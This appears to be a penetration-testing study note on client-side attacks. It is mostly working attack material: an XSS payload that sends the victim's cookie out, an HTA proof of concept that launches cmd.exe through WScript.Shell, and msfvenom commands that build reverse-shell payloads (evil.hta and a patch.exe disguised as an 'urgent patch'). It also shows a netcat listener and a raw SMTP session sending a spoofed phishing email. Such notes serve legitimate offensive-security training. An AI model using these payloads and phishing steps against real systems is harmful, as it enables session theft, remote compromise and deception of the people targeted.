Client-Side Attacks

Cross-Site Scripting XSS

A useful payload to catch users cookie

<script>new Image().src=""+document.cookie;</script>

HTA Exploit

In this example, we will utilize ActiveXObjects, which can potentially allow access to underlying operating system commands, making it a dangerous technique. This can be achieved through the Windows Script Host functionality, specifically using the Windows Script Host Shell object or WScript.

Once the Windows Script Host Shell object is instantiated, we can use its run method to launch an application on the client machine we're targeting. However, when mshta.exe is executed, it keeps an additional window open behind the command prompt. To avoid this, we can modify our proof-of-concept by using the .close(); object method, as shown below:

  var c= 'cmd.exe'
  new ActiveXObject('WScript.Shell').Run(c);

We can save this code in a file (poc.hta) on our Kali machine and host it on the Apache web server. When a victim opens this file with Internet Explorer, they will be presented with a pop-up dialog as shown below:

The pop-up dialog is generated when the system attempts to execute an .hta file. If the user selects "Open," an additional dialog will appear:

The second dialog box appears because Internet Explorer's sandbox protection, also known as Protected Mode, is enabled by default. If the victim selects "Allow," the action is permitted, and the JavaScript code is executed, launching cmd.exe as shown below:

To convert our basic HTML Application into an attack, we will utilize msfvenom, which supports the hta-psh output format to generate an HTA payload that relies on PowerShell:

sudo msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f hta-psh -o /var/www/html/evil.hta

If everything goes as expected, we should be able to capture a reverse shell.b

nc -lnvp 4444

Phishing email 25 SMTP

Interact with SMTP server to send a phishing email:

nc -C 25                                                                                                
220 VICTIM Microsoft ESMTP MAIL Service, Version: 10.0.17763.1697 ready at  Tue, 21 Feb 2023 17:38:43 -0500 
ehlo all
250-VICTIM Hello []
250-SIZE 2097152
250 OK
mail from: rmurray@victim
250 2.1.0 rmurray@victim....Sender OK
rcpt to: tharper@victim
250 2.1.5 tharper@victim 
354 Start mail input; end with <CRLF>.<CRLF>
subject: urgent patch
250 2.6.0 <VICTIM0MoN0uyHFWZx700000002@VICTIM> Queued mail for delivery

msfvenom payload used to generate the patch.exe:

msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=443 -f exe > patch.exe

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